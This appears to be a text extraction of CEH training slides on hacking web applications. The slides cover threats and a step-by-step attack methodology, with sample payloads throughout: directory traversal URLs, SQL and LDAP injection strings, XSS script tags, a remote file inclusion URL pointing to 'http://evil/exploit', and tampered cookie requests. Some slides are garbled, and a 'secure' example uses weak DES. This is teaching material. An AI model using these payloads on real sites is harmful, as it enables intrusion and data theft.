Hacking Web Applications

Module 13

Engineered by Hackers. Presented by Professionals.
Google Offers Bucks For Bugs In Its Web Applications

Google has launched a bold, experimental vulnerability reward program that pays researchers who discover legitimate, critical flaws in its Web applications -- including Google.com, Blogger.com, Orkut.com, and YouTube.com.

Web hacking traditionally has posed some tricky legal challenges for researchers. Google's new program encourages researchers to poke holes in its Web services and pays anywhere from $500 to $3,133.70 for a severe or "clever" vulnerability -- a move experts say could open the door for other cloud-based providers to do the same.

"Google is the first major company to come forward and invite attacks against its online in-production applications," says HD Moore, creator of Metasploit and chief security officer at Rapid7. "While security researchers have spent years testing software applications and reporting the findings, those that decided to take this approach online have faced legal challenges. This is a great precedent for the security community and will hopefully encourage other services providers to take a similar approach."

http://www.darkreading.com
Module Objectives

- Introduction to Web Applications
- Web Application Components
- How Web Applications Work?
- Web Application Architecture
- Unvalidated Input
- Parameter/Form Tampering
- Injection Flaws
- Hidden Field Manipulation Attack

- Cross-Site Scripting (XSS) Attacks
- Web Services Attack
- Hacking Methodology
- Web Application Hacking Tools
- How to Defend Against Web Application Attacks?
- Web Application Security Tools
- Web Application Firewalls
- Web Application Pen Testing
Module Flow

- Web App Pen Testing
- Security Tools
- Countermeasures
- Web Application Hacking Tools
- Web App Concepts
- Web App Threats
- Hacking Methodology
Web Application Security Statistics

Cross-Site Scripting: 80%
SQL Injection: 62%
Parameter Tampering: 60%
Cookie Poisoning: 37%
Database Server: 33%
Web Server: 23%
Buffer Overflow: 19%
Web applications provide an interface between end users and web servers through a set of web pages that are generated at the server end or contain script code to be executed dynamically within the client Web browser.

Though web applications enforce certain security policies. They are vulnerable to various attacks such as SQL injection, cross-site scripting, session hijacking etc.

Organizations rely on Web applications and Web 2.0 technologies to support key business processes and improve performance.

New web technologies such as Web 2.0 provide more attack surface for web application exploitation.
Web Application Components

The Web Server

- Login
- Session Tracking Mechanism
- Data Access
- The Data Store
- The Application Content
- Application Logic
- Logout
- Role Level System Security
- User Permissions

Copyright © by EC-Council
All Rights Reserved. Reproduction is Strictly Prohibited.
How Web Applications Work?

User → Login Form → Internet → Firewall → Web Server

Operating System → OS System Calls → DBMS

SELECT * from news where id = 6329

Output

<table>
<thead>
<tr>
<th>ID</th>
<th>Topic</th>
<th>News</th>
</tr>
</thead>
<tbody>
<tr>
<td>6329</td>
<td>Tech</td>
<td>CNN</td>
</tr>
</tbody>
</table>
Web Application Architecture

Clients
- Smart Phones, Web Appliance
- Web Services

Web Browser
- Presentation Layer
  - Flash, Silverlight, Java Script
  - External Web Services

Web Server
- Presentation Layer
  - Firewall
  - HTTP Request Parser
- Proxy Server, Cache
- Servlet Container
- Resource Handler
- Authentication and Login

Application Server
- J2EE
- .NET
- COM

Business Logic
- Business Layer

Database Layer
- Cloud Services
- B2B
- Database Server
- Legacy Application

Data Access

Internet
Web Services
**Web 2.0 Applications**

Web 2.0 refers to a new generation of Web applications that provide an infrastructure for more dynamic user participation, social interaction and collaboration.

- Blogs (Wordpress)
- Advanced gaming
- Dynamic as opposed to static site content
- RSS-generated syndication
- Social networking sites (Flickr, Facebook, del.icio.us)
- Mash-ups (E-mails, IMs, Electronic payment systems)
- Wikis and other collaborative applications
- Google Base and other free Web services (Google Maps)
- Ease of data creation, modification, or deletion by individual users
- New technologies like AJAX (Gmail, YouTube)
- Mobile application (iPhone)
- Flash rich interface websites
- Frameworks (Yahoo! UI Library, jQuery)
- Cloud computing websites like (amazon.com)
- Interactive encyclopedias and dictionaries
- Online office software (Google Docs and Microsoft light)
- Interoperability
- User-centered Design
- Collaboration on the Web
- Interactive Data Sharing

---

**CEH**

Certified Ethical Hacker

Copyright © by EC-Council

All Rights Reserved. Reproduction is Strictly Prohibited.
Web Attack Vectors

1. An attack vector is a path or means by which an attacker can gain access to computer or network resources in order to deliver an attack payload or cause a malicious outcome.

2. Attack vectors include parameter manipulation, XML poisoning, client validation, server misconfiguration, Web service routing issues, and cross-site scripting.

3. No protection method is completely attack-proof as the attack vectors keep changing and evolving with new technological evolution.
Web Application Threats - 2
**Unvalidated Input**

Input validation flaws refer to a web application vulnerability where input from a client is not validated before being processed by web applications and backend servers.

An attacker exploits input validation flaws to perform cross-site scripting, buffer overflow, injection attacks, etc. that result in data theft and system malfunctioning.

**Browser Post Request**

```
http://juggyboy.com/login.aspx?user=jasons@pass=springfield
```

**Modified Query**

```
string sql = "select * from Users
user ="" + User.Text + ""
and pwd="" + Password.Text + ""
```

**CEH**

Certified Ethical Hacker

Copyright © by EC-Council
All Rights Reserved. Reproduction is Strictly Prohibited.
A Web parameter tampering attack involves the manipulation of parameters exchanged between client and server in order to modify application data such as user credentials and permissions, price, and quantity of products.

A parameter tampering attack exploits vulnerabilities in integrity and logic validation mechanisms that may result in XSS, SQL injection, etc.
Directory Traversal

- Directory traversal allows attackers to **access restricted directories** including application source code, configuration and critical system files, and execute commands outside of the web server’s root directory.
- Attackers can **manipulate variables** that reference files with “dot-dot-slash (../)” sequences and its variations.

Accessing files located outside the web publishing directory using directory traversal:

- `http://www.juggyboy.com/process.aspx=../../../../some dir/some file`
- `http://www.juggyboy.com/../../../../../some dir/some file`

Vulnerable Server Code:

```php
<?php
$theme = 'Jason.php';
if ( is_set( $COOKIE['THEME'] ) )
$theme = $COOKIE['THEME'];
include ( 
"/home/users/juggyboy/Jason/" .
$theme );
?>
```

**Attacker**
- Sending HTTP request
- Server responds with password files

**Root User:**
- `root:98b24a1d38e8:0:1:System Operator:/bin/ksh`
- `daemon:*:1:1::/tmp:
Jason:a3b698a76f76d57:182:100:Developer:/home/users/Jason:/bin/csh`
Security Misconfiguration

- Easy Exploitation
  Using misconfiguration vulnerabilities, attackers gain unauthorized accesses to default accounts, read unused pages, exploit unpatched flaws, and read or write unprotected files and directories, etc.

- Common Prevalence
  Security misconfiguration can occur at any level of an application stack, including the platform, web server, application server, framework, and custom code.

- Example
  - The application server admin console is automatically installed and not removed
  - Default accounts are not changed
  - Attacker discovers the standard admin pages on server, logs in with default passwords, and takes over
Injection Flaws

1. Injection flaws are web application vulnerabilities that allow untrusted data to be interpreted and executed as part of a command or query.
2. Attackers exploit injection flaws by constructing malicious commands or queries that result in data loss or corruption, lack of accountability, or denial of access.
3. Injection flaws are prevalent in legacy code, often found in SQL, LDAP, and XPath queries, etc., and can be easily discovered by application vulnerability scanners and fuzzers.

- SQL Injection: It involves injection of malicious SQL queries into user input forms.
- Command Injection: It involves injection of malicious code through a web application.
- LDAP Injection: It involves injection of malicious LDAP statements.
**SQL Injection Attacks**

- SQL injection attacks use a **series of malicious SQL queries** to directly manipulate the database.
- An attacker can use a vulnerable web application to **bypass normal security measures** and obtain direct access to the valuable data.
- SQL injection attacks can often be executed from the address bar, from within application fields, and through queries and searches.

```php
<?php
function save_email($user, $message)
{
    $sql = "INSERT INTO Messages (user, message)
            VALUES ('$user', '$message')";
    return mysql_query($sql);
}
?>
```

When this code is sent to the database server, it drops the Messages table.

**Code to insert spammy data on behalf of other users**

```sql
(test'), ('user2', 'I am Jason'), ('user3', 'You are hacked')
```
Command Injection Attacks

Shell Injection
An attacker tries to craft an input string to gain shell access to a web server. Shell Injection functions include `system()`, `StartProcess()`, `java.lang.Runtime.exec()`, `System.Diagnostics.Process.Start()`, and similar APIs.

HTML Embedding
This type of attack is used to deface websites virtually. Using this attack, an attacker adds an extra HTML-based content to the vulnerable web application. In HTML embedding attacks, user input to a web script is placed into the output HTML, without being checked for HTML code or scripting.

File Injection
Attacker exploits this vulnerability and injects malicious code into system files. The URL example is `http://www.juggyboy.com/vulnerable.php?COLOR=http://evil/exploit?`
**Command Injection Example**

- An attacker enters malicious code (Account Number) with a new password.
- The last two sets of numbers are the banner size.
- Once the attacker clicks the submit button, the password for the account 1036 is changed to the word “newpassword”.
- The server script assumes that only the URL of the banner image file is inserted into that field.

Malicious code:
```
www.juggyboy.com/banner.gif||newpassword||1036|60|468
```

Poor input validation at server script was exploited in this attack that uses database INSERT and UPDATE record command.
File Injection Attack

Client code running in a browser

Vulnerable PHP code


Attacker injects a remotely hosted file at www.jasoneval.com containing an exploit

File injection attacks enable attackers to exploit vulnerable scripts on the server to use a remote file instead of a presumably trusted file from the local file system.
**What is LDAP Injection?**

An LDAP injection technique is used to take advantage of non-validated web application input vulnerabilities to **pass LDAP filters** used for searching Directory Services to **obtain direct access to databases behind an LDAP tree**.

**What is LDAP?**

- LDAP Directory Services store and organize information based on its attributes. The information is **hierarchically organized** as a tree of directory entries.
- LDAP is based on the client-server model and clients can **search the directory entries using filters**.

<table>
<thead>
<tr>
<th>Filter Syntax</th>
<th>(attributeName operator value)</th>
</tr>
</thead>
<tbody>
<tr>
<td>Operator</td>
<td>Example</td>
</tr>
<tr>
<td>=</td>
<td>(objectClass=user)</td>
</tr>
<tr>
<td>&gt;=</td>
<td>(mdbStorageQuota&gt;=100000)</td>
</tr>
<tr>
<td>&lt;=</td>
<td>(mdbStorageQuota&lt;=100000)</td>
</tr>
<tr>
<td>=~</td>
<td>(displayName=~Poeckeler)</td>
</tr>
<tr>
<td>*</td>
<td>(displayName=<em>John</em>)</td>
</tr>
<tr>
<td>AND (&amp;)</td>
<td>(&amp;(objectClass=user) (displayName=John))</td>
</tr>
<tr>
<td>OR (</td>
<td>)</td>
</tr>
<tr>
<td>NOT (!)</td>
<td>(!objectClass=group)</td>
</tr>
</tbody>
</table>
1. LDAP injection attacks are similar to SQL injection attacks but *exploit user parameters* to generate LDAP query.

2. To test if an application is vulnerable to LDAP code injection, *send a query* to the server meaning that generates an invalid input. If the LDAP server *returns an error*, it can be exploited with code injection techniques.

If an attacker enters valid username "juggyboy", and injects `juggyboy)(&)` then the URL string becomes `(&(USER=juggyboy)(&))(PASS=blah)`.

Only the first filter is processed by the LDAP server, only the query `(&(USER=juggyboy)(&))` is processed. This query is always true, and the attacker logs in to the system without a valid password.
Hidden Field Manipulation Attack

1. When a user makes selections on an HTML page, the selection is typically stored as form field values and sent to the application as an HTTP request (GET or POST).
2. HTML can also store field values as Hidden Fields, which are *not rendered to the screen* by the browser, but are collected and submitted as parameters during form submissions.
3. Attackers can examine the HTML code of the page and change the hidden field values in order to change post requests to server.
Cross-Site Scripting (XSS) Attacks

Cross-site scripting ('XSS' or 'CSS') attacks exploit vulnerabilities in dynamically generated Web pages, which enables malicious attackers to inject client-side script into web pages viewed by other users.

It occurs when invalid input data is included in dynamic content that is sent to a user's web browser for rendering. Attackers inject malicious JavaScript, VBScript, ActiveX, HTML, or Flash for execution on a victim's system by hiding it within legitimate requests.

- Malicious script execution
- Redirecting to a malicious server
- Exploiting user privileges
- Ads in hidden IFrames and pop-ups
- Data manipulation
- Session hijacking
- Brute force password cracking
- Data theft
- Intranet probing
- Keylogging and remote monitoring

Copyright © by EC-Council
All Rights Reserved. Reproduction is Strictly Prohibited.

ATHENA
WWW.ATHENA.EDU.VN
How XSS Attacks Work?

Normal Request

   /jason_file.html

Server Response

2. Server Code

```html
<html>
<body>
<?php
    print "Not found: " . urldecode($SERVER["REQUEST_URI"]) ;
?>
</body>
</html>
```

XSS Attack Code

1. http://juggyboy.com/<script>alert("WARNING: The application has encountered an error");</script>
Cross-Site Scripting Attack Scenario: Attack via Email

In this example, the attacker crafts an email message with a malicious script and sends it to the victim:

```html
<A HREF='http://legitimateSite.com/registration.cgi?clientprofile=\<SCRIPT\>malicious
code\</SCRIPT\>'>Click here</A>
```

- When the user clicks on the link, the URL is sent to `legitimateSite.com` with the malicious code.
- The legitimate server sends a page back to the user including the value of `clientprofile`, and the malicious code is executed on the client machine.
XSS Example: Attack via Email

1. Construct a malicious link
2. Email the URL to user and convince user to click on it
3. Request the page
4. Page with malicious script
5. Run

<A HREF="http://juggyboybank.com/registration.cgi?clientprofile=<SCRIPT>malicious code</SCRIPT>">Click here</A>
**XSS Example: Stealing Users' Cookies**

1. **Attacker**
   - Host a page with malicious script

2. **User's Browser**
   - View the page hosted by the attacker

3. **Malicious Script**
   - HTML containing malicious script

4. **Legitimate Server**
   - Run

5. **Redirect to attacker's server**
   - Collect user's cookies

6. **Send the request with the user's cookies**

---

**CEH**

**Certified Ethical Hacker**

**ATHENA**

TRUNG TÂM BẢO TÀO AN NINH MẠNG & QUẢN TRỊ MẠNG
WWW.ATHENA.EDU.VN
XSS Example: Sending an Unauthorized Request

1. Construct a malicious link
2. Email the URL to user and convince user to click on it
3. Request the page
4. Page with malicious script
5. Run
6. An authorized request
XSS Attack in Blog Posting

Attacker

Attacker adds a malicious script in the comment field of blog post

Comment with malicious link is stored on the server

Database Server

Web Application

User visits the TechPost website

User redirects to a malicious website juggyboy.com

Malicious Website

User

Leaves your comment

Facebook acquires file-sharing service

New York-based start-up that lets users privately and sporadically share files through a drag-and-drop interface with additional options.

Malicious code

<script>alert=window.location='http://www.juggyboy.com'</script>

Copyright © by EC-Council
All Rights Reserved. Reproduction is Strictly Prohibited.
**XSS Attack in Comment Field**

**Attacker**

Attacker adds a malicious script in the comment field of blog post

**Database Server**

Comment with malicious link is stored on the server

**Web Application**

User visits the TechPost website

**User**

User, I love your blog post! `<script>alert("Hello World")</script>`

**Malicious code**

`<script>alert("Hello World")</script>` is injecting the blog post

**Pop up Window**

The alert pops up as soon as the web page is loaded

*Copyright © by EC-Council*

*All Rights Reserved. Reproduction is Strictly Prohibited.*
Cross-Site Request Forgery (CSRF) Attack

1. Cross-Site Request Forgery (CSRF) attacks exploit webpage vulnerabilities that allow an attacker to force an unsuspecting user’s browser to send malicious requests they did not intend.

2. The victim user holds an active session with a trusted site and simultaneously visits a malicious site, which injects an HTTP request for the trusted site into the victim user’s session, compromising its integrity.
How CSRF Attacks Work?

**Client Side Code**

Symbol

Shares

<form action="buy.php" method="POST">
    <p>Symbol: <input type="text" name="symbol" /></p>
    <p>Shares: <input type="text" name="shares" /></p>
    <input type="submit" value="Buy" />
</form>

**Server Code**

```php
<?php
    session_start();
    if (isset($_REQUEST['symbol']) && isset($_REQUEST['shares'])) {
        buy_stocks($_REQUEST['symbol'], $_REQUEST['shares']);
    }
?>
```

1. User logs into trusted server using his credentials
2. Server sets a session cookie in the user's browser
3. Malicious code is executed in the trusted server
4. Malicious code sends a phishing mail to the user
5. Response page contains malicious code
6. User requests a page from the malicious server

Malicious Code

```html
```
Web Application Denial-of-Service (DoS) Attack

Attacker's exhaust available server resources by sending hundreds of resource-intensive requests, such as pulling out large image files or requesting dynamic pages that require expensive search operations on the backend database servers.

Why Are Applications Vulnerable?
- Reasonable Use Expectations
- Application Environment Bottlenecks
- Implementation Flaws
- Poor Data Validation

Web Server Resource Consumption

Web Services Unavailability

Targets
- CPU, Memory, and Sockets
- Disk Bandwidth
- Database Bandwidth
- Worker Processes

Application-level DoS attacks emulate the same request syntax and network-level traffic characteristics as that of the legitimate clients, which makes it undetectable by existing DoS protection measures.
**Denial of Service (DoS) Examples**

**Login Attacks**
The attacker may overload the login process by continually sending login requests that require the presentation tier to access the authentication mechanism, rendering it unavailable or unreasonably slow to respond.

**Account Lock-Out Attacks**
The attacker may enumerate usernames through another vulnerability in the application and then attempt to authenticate to the site using valid usernames and incorrect passwords which will lock out the accounts after the specified number of failed attempts. At this point legitimate users will not be able to use the site.

**User Registration DoS**
The attacker could create a program that submits the registration forms repeatedly; adding a large number of spurious users to the application.

**User Enumeration**
If application states which part of the username/password pair is incorrect, an attacker can automate the process of trying common usernames from a dictionary file to enumerate the users of the application.
Buffer Overflow Attacks

- Buffer overflow occurs when an application writes more data to a block of memory, or buffer, than the buffer is allocated to hold.
- A buffer overflow attack allows an attacker to modify the target process's address space in order to control the process execution, crash the process, and modify internal variables.
- Attackers modify function pointers used by the application to direct program execution through a jump or call instruction and points it to a location in the memory containing malicious codes.

```
int main(int argc, char *argv[]) {
    char *dest_buffer;
    dest_buffer = (char *) malloc(10);
    if (NULL == dest_buffer)
        return -1;
    if (argc > 1) {
        strcpy(dest_buffer, argv[1]);
        printf("The first command-line argument is %s", dest_buffer);
    } else { printf("No command-line argument was given. \n"); }
    free(dest_buffer);
    return 0;
}
```

**Note:** For complete coverage of buffer overflow concepts and techniques refer Module 17: Buffer Overflow Attacks.
Cookie/Session Poisoning

Cookies are used to maintain session state in the otherwise stateless HTTP protocol.

Cookie Poisoning attacks involve the modification of the contents of a cookie (personal information stored in a Web user's computer) in order to bypass security mechanisms.

Poisoning allows an attacker to inject the malicious content, modify the user's on-line experience, and obtain the unauthorized information.

A proxy can be used for rewriting the session data, displaying the cookie data, and/or specifying a new user ID or other session identifiers in the cookie.
How Cookie Poisoning Works?

1. User browses a web page
2. Web server replies with requested page and sets a cookie on the user's browser
3. User browses a web page
4. Attacker orders for product using modified cookie
5. Product is delivered to attacker's address

GET /store/buy.aspx?checkout=yes HTTP/1.0 Host: www.juggyshop.com
Accept: */*
Referer: http://www.juggyshop.com/showprods.aspx Cookie:
SESSIONID=325896A5DD235A3587; BasketSize=3; Item1=1258;
Item2=2658; Item3=6652; TotalPrice=11568;

GET /store/buy.aspx?checkout=yes HTTP/1.0 Host: www.juggyshop.com
Accept: */*
Referer: http://www.juggyshop.com/showprods.aspx Cookie:
SESSIONID=325896A5DD235A3587; BasketSize=3; Item1=1258;
Item2=2658; Item3=6652; TotalPrice=100;
Session Fixation Attack

- In a session fixation attack, the attacker tricks user to access a genuine web server using an explicit session ID value.
- Attacker assumes the identity of the victim and exploits his credentials at the server.

Diagram:
1. Attacker logs on to the bank website using his credentials.
2. Web server sets a session ID on the attacker's machine.
3. Attacker sends an email containing link with a fix session ID.
   - http://juggybank.dom/login.js?sessionid=4321
4. User clicks on the link and is redirected to the bank website.
5. User logs into the server using his credentials and fixed session ID.
6. Attacker logs into the server using the victim's credentials with the same session ID.
Insufficient Transport Layer Protection

- Supports Weak Algorithm
  - Insufficient transport layer protection supports weak algorithms, uses expired or invalid certificates
- Launch Attacks
  - Underprivileged SSL setup can also help attacker to launch phishing and MITM attacks
- Exposes Data
  - This vulnerability exposes user’s data to untrusted third-parties and can lead to account theft
Improper Error Handling

- Improper error handling gives insight into source code such as logic flaws, default accounts, etc.
- Using the information received from an error message, an attacker identifies vulnerabilities

Information Gathered

- Out of memory
- Null pointer exceptions
- System call failure
- Database unavailable
- Network timeout
- Database information
- Web application logical flow
- Application environment

JUGGYBoy.com

General Error

Could not obtain post/user information

DEBUG MODE

SQL Error: 1016 Can't open file 'nuke_bbposts_text.MYD'. (errno: 145)
SELECT u.username, u.user_id, u.user_posts, u.user_from, u.user_website,
  u.user_email, u.user_msnm, u.user_viewemail, u.user_rank, u.user_sig,
  u.user_sig_bbcode_uid, u.user_allowusername, p.*, pt.post_text, pt.post_subject,
  pt.bbcode_uid FROM nuke_bbposts p, nuke_users u, nuke_bbposts_text pt WHERE
p.topic_id = '1547' AND pt.post_id = p.post_id AND u.user_id = p.poster_id ORDER BY
p.post_time ASC LIMIT 0, 15

File: /user/home/geeks/www/vonage/modules/Forums/viewtopic.php

Line: 435

Copyright © by EC-Council
All Rights Reserved. Reproduction is Strictly Prohibited.
Insecure Cryptographic Storage

- Insecure cryptographic storage refers to when an application uses poorly written encryption code to securely encrypt and store sensitive data in the database.
- This flaw allows an attacker to steal or modify weakly protected data such as credit cards numbers, SSNs, and other authentication credentials.

---

**Vulnerable Code**

```java
public String encrypt(String plainText) {
    plainText = plainText.replace("a","z");
    plainText = plainText.replace("b","y");
    ------------
    return Base64Encoder.encode(plainText);
}
```

**Secure Code**

```java
public String encrypt(String plainText) {
    DESKeySpec keySpec = new DESKeySpec(encryptKey);
    SecretKeyFactory factory = new SecretKeyFactory.getInstance("DES");
    SecretKey key = factory.generateSecret(keySpec);
    Cipher cipher = Cipher.getInstance("DES");
    cipher.init(Cipher.ENCRYPT_MODE, key);
    byte[] utf8text = plainText.getBytes("UTF8");
    byte[] encryptedText = cipher.doFinal(utf8text);
    return Base64Encoder.encode(encryptedText);
}
```
Broken Authentication and Session Management

An attacker uses vulnerabilities in the authentication or session management functions such as exposed accounts, session IDs, logout, password management, timeouts, remember me, secret question, account update and others to impersonate users.

Session ID in URLs

http://jugglyshop.com/sale/saleitems=304;sessionid=12OMTOIDPXMOOQSABGCKLHCJUN2JV?dest=NewMexico

Attacker sniffs the network traffic or tricks the user to get the session IDs, and reuses the session IDs for malicious purposes.

Timeout Exploitation

If application’s timeouts are not set properly and a user simply closes the browser without logging out from sites accessed through a public computer, attacker can use the same browser later and exploit the user’s privileges.

Password Exploitation

Attacker gains access to the web application’s password database. If user passwords are not encrypted, the attacker can exploit every users’ password.
Unvalidated Redirects and Forwards

Unvalidated redirects enable attackers to **install malware or trick victims** into disclosing passwords or other sensitive information, whereas unsafe forwards may allow access control bypass.

**Unvalidated Redirect**
- Attacker sends an email containing a rewrite link to a malicious server.
- User is redirected to the attacker's server.

**Unvalidated Forward**
- Attacker requests a page from a server with a forward.
- Attacker is forwarded to an admin page.
Web Services Architecture

WS-Policy

WS-Work Processes

WS-Security
- WS-Federation
- WS-Trust
- WS-SecureConversation
- XML Encryption
- SAML
- Kerberos
- X.509
- Security Token Profiles
- XML Digital Signatures

XML, SOAP, WSDL, Schema, WS-Advertising, etc.

HTTP
- .Net TCP Channel
- Fast InfoSet, etc.
Web Services Attack

- Web services evolution and its increasing use in business offers new attack vectors in an application framework.
- Web services are based on XML protocols such as Web Services Definition Language (WSDL) for describing the connection points; Universal Description, Discovery, and Integration (UDDI) for the description and discovery of Web services; and Simple Object Access Protocol (SOAP) for communication between Web services which are vulnerable to various web application threats.

Web Services Stack

- **Presentation Layer**
  - XML, AJAX, Portal, Other

- **Security Layer**
  - WS-Security

- **Discovery Layer**
  - UDDI, WSDL

- **Access Layer**
  - SOAP, REST

- **Transport Layer**
  - HTTP, HTTPS, JMS, Other

Web Services Attack

- Parameter tampering, WSDL probing, SQL/LDAP/XPATH/OS command injection, malware injection, bruteforce, data type mismatch, content spoofing, session tampering, format string, information leakage
- Fault code leaks, permission and access attacks, error leakage, authentication and certification attacks
- Buffer overflow, XML parsing, spoofing schema, complex or recursive payload, DoS, large payload
- Sniffing, Snooping, WS-Routing, Replay Attacks, Denial of Service
Web Services Footprinting Attack

Attackers footprint a web application to get UDDI information such as businessEntity, businessService, bindingTemplate, and tModel.
Web Services XML Poisoning

1. Attackers insert malicious XML codes in SOAP requests to perform XML node manipulation or XML schema poisoning in order to generate errors in XML parsing logic and break execution logic.

2. Attackers can manipulate XML external entity references that can lead to arbitrary file or TCP connection openings and can be exploited for other web service attacks.

3. XML poisoning enables attackers to cause a denial-of-service attack and compromise confidential information.

**XML Request**

```xml
<CustomerRecord>
  <CustomerNumber>2010</CustomerNumber>
  <FirstName>Jason</FirstName>
  <LastName>Springfield</LastName>
  <Address>Apt 20, 3rd Street</Address>
  <Email>jason@springfield.com</Email>
  <PhoneNumber>6325896325</PhoneNumber>
</CustomerRecord>
```

**Poisoned XML Request**

```xml
<CustomerRecord>
  <CustomerNumber>2010</CustomerNumber>
  <FirstName>Jason</FirstName>
  <CustomerNumber>2010</CustomerNumber>
  <FirstName>Jason</FirstName>
  <LastName>Springfield</LastName>
  <Address>Apt 20, 3rd Street</Address>
  <Email>jason@springfield.com</Email>
  <PhoneNumber>6325896325</PhoneNumber>
</CustomerRecord>
```
Web App Hacking Methodology

1. Footprint Web Infrastructure
2. Attack Web Servers
3. Analyze Web Applications
4. Attack Authentication Mechanism
5. Attack Authorization Schemes
6. Attack Session Management Mechanism
7. Perform Injection Attacks
8. Attack Data Connectivity
9. Attack Web App Client
10. Attack Web Services
Footprint Web Infrastructure

Web infrastructure footprinting is the first step in web application hacking; it helps attackers to **select victims** and **identify vulnerable web applications**.

**Server Discovery**
Discover the physical servers that host web application

**Service Discovery**
Discover the services running on web servers that can be exploited as attack paths for web app hacking

**Server Identification**
Grab server banners to identify the make and version of the web server software

**Hidden Content Discovery**
Extract content and functionality that is not directly linked or reachable from the main visible content
Server discovery gives information about the location of servers and ensures that the target server is alive on Internet.

**Whois Lookup**
- Whois lookup utility gives information about **IP address of web server** and DNS names.
- Whois Lookup Tools:
  1. http://www.tamos.com

**DNS Interrogation**
- DNS Interrogation provides information about **location and type of servers**.
- DNS Interrogation Tools:

**Port Scanning**
- Port Scanning attempts to connect to a particular set of TCP or UDP ports to find out the **service that exists on the server**.
- Port Scanning Tools:
  1. Nmap
  2. NetScan Tools Pro
  3. Hping
Footprint Web Infrastructure: Service Discovery

Scan the target web server to identify common ports that web servers use for different services.

Tools used for service discovery:
1. Nmap
2. NetScan Tools Pro

Identified services act as attack paths for web application hacking.

<table>
<thead>
<tr>
<th>Port</th>
<th>Typical HTTP Services</th>
</tr>
</thead>
<tbody>
<tr>
<td>80</td>
<td>World Wide Web standard port</td>
</tr>
<tr>
<td>81</td>
<td>Alternate WWW</td>
</tr>
<tr>
<td>88</td>
<td>Kerberos</td>
</tr>
<tr>
<td>443</td>
<td>SSL (https)</td>
</tr>
<tr>
<td>900</td>
<td>IBM Websphere administration client</td>
</tr>
<tr>
<td>2301</td>
<td>Compaq Insight Manager</td>
</tr>
<tr>
<td>2381</td>
<td>Compaq Insight Manager over SSL</td>
</tr>
<tr>
<td>4242</td>
<td>Microsoft Application Center Remote management</td>
</tr>
<tr>
<td>7001</td>
<td>BEA Weblogic</td>
</tr>
<tr>
<td>7002</td>
<td>BEA Weblogic over SSL</td>
</tr>
<tr>
<td>7070</td>
<td>Sun Java Web Server over SSL</td>
</tr>
<tr>
<td>8000</td>
<td>Alternate Web server, or Web cache</td>
</tr>
<tr>
<td>8001</td>
<td>Alternate Web server or management</td>
</tr>
<tr>
<td>8005</td>
<td>Apache Tomcat</td>
</tr>
<tr>
<td>9090</td>
<td>Sun Java Web Server admin module</td>
</tr>
<tr>
<td>10000</td>
<td>Netscape Administrator interface</td>
</tr>
</tbody>
</table>

http://nmap.org

Copyright © by EC-Council
All Rights Reserved. Reproduction is Strictly Prohibited.
Footprint Web Infrastructure: **Server Identification/Banner Grabbing**

Analyze the server response header field to identify the make, model, and version of the web server software.

This information helps attackers to select the exploits from vulnerability databases to attack web server and applications.

```
C:\telnet www.juggyboy.com 80 HEAD / HTTP/1.0
```

Server identified as Microsoft IIS

**Banner grabbing tools:**

1. Telnet
2. Netcat
3. Fscan
4. ID Serve
**Footprint Web Infrastructure: Hidden Content Discovery**

- Discover the hidden content and functionality that is not reachable from the main visible content to exploit user privileges within the application.
- It allows attackers to recover backup copies of live files, configuration files and log files containing sensitive data, backup archives containing snapshots of files within the web root, new functionality which is not linked to the main application, etc.

---

**Web Spidering**
Web spiders automatically discover the hidden content and functionality by parsing HTML form and client-side JavaScript requests and responses

**Web Spidering Tools:**
1. Paros
2. Burp Spider
3. WebScarab

---

**Attacker-Directed Spidering**
Attacker accesses all of the application’s functionality and uses an intercepting proxy to monitor all requests and responses. The intercepting proxy parses all of the application’s responses and reports the content and functionality it discovers.

**Tool:** Poras Proxy

---

**Brute-Forcing**
Use automation tools such as Burp suite to make huge numbers of requests to the web server in order to guess the names or identifiers of hidden content and functionality.
Web Spidering Using Burp Suite

Configure your web browser to use Burp as a local proxy.
Access the entire target application visiting every single link/URL possible, and submit all the application forms available.
Browse the target application with JavaScript enabled and disabled, and with cookies enabled and disabled.
Check the site map generated by the Burp proxy, and identify any hidden application content or functions.
Continue these steps recursively until no further content or functionality is identified.

http://portswigger.net
Web App Hacking Methodology

1. Footprint Web Infrastructure
2. Attack Web Servers
3. Analyze Web Applications
4. Attack Authentication Mechanism
5. Attack Authorization Schemes
6. Attack Session Management Mechanism
7. Perform Injection Attacks
8. Attack Data Connectivity
9. Attack Web App Client
10. Attack Web Services
Hacking Web Servers

- After identifying web server environment, scan the server for known vulnerabilities using any Web server vulnerability scanner
- Launch web server attack to exploit identified vulnerabilities
- Launch Denial-of-Service (DoS) against web server

Tools used:
1. UrlScan
2. Nikto
3. Nessus
4. WWW/Whack
5. Acunetix Web Vulnerability Scanner
6. WebInspect

Note: For complete coverage of web server hacking techniques refer Module 12: Hacking Web Server
Web Server Hacking Tool: WebInspect

- WebInspect identifies security vulnerabilities in the web applications.
- It runs interactive scans using a sophisticated user interface.

Attacker can exploit identified vulnerabilities to carry out web services attacks.

https://h10078.www1.hp.com

CEH
Certified Ethical Hacker

ATHENA
TRUNG TÂM BẢO TÀO AN NINH MẠNG & QUẢN TRỊ MẠNG
WWW.ATHENA.EDU.VN

Copyright © by EC-Council
All Rights Reserved. Reproduction is Strictly Prohibited.
Analyze Web Applications

Analyze the active application’s functionality and technologies in order to **identify the attack surfaces** that it exposes.

- **Identify Entry Points for User Input**
  - Review the generated HTTP request to identify the user input entry points.

- **Identify Server-Side Functionality**
  - Observe the applications revealed to the client to identify the server-side structure and functionality.

- **Identify Server-Side Technologies**
  - Fingerprint the technologies active on the server using various fingerprint techniques such as HTTP fingerprinting.

- **Map the Attack Surface**
  - Identify the various attack surfaces uncovered by the applications and the vulnerabilities that are associated with each one.
Analyze Web Applications:
Identify Entry Points for User Input

- Examine URL, HTTP Header, query string parameters, POST data, and cookies to determine all user input fields.

- Identify HTTP header parameters that can be processed by the application as user inputs such as User-Agent, Referer, Accept, Accept-Language, and Host headers.

- Determine URL encoding techniques and other encryption measures implemented to secure the web traffic such as SSL.

- Tools used:
  1. Burp proxy
  2. HttPrint
  3. WebScarab
  4. Paros Proxy
Analyze Web Applications:
Identify Server-Side Technologies

- Perform a detailed server fingerprinting, analyze HTTP headers and HTML source code to identify server-side technologies
- Examine URLs for file extensions, directories, and other identification information
- Examine the error page messages
- Examine session tokens:
  1. JSESSIONID - Java
  2. ASPSESSIONID - IIS server
  3. ASP.NET_SessionId - ASP.NET
  4. PHPSESSID - PHP

---

Oops!


Could not find the permission set named 'ASP.Net'.

Description: An unhandled exception occurred during the execution of the current web request. Please review the stack trace for more information about the error and where it originated in the code.

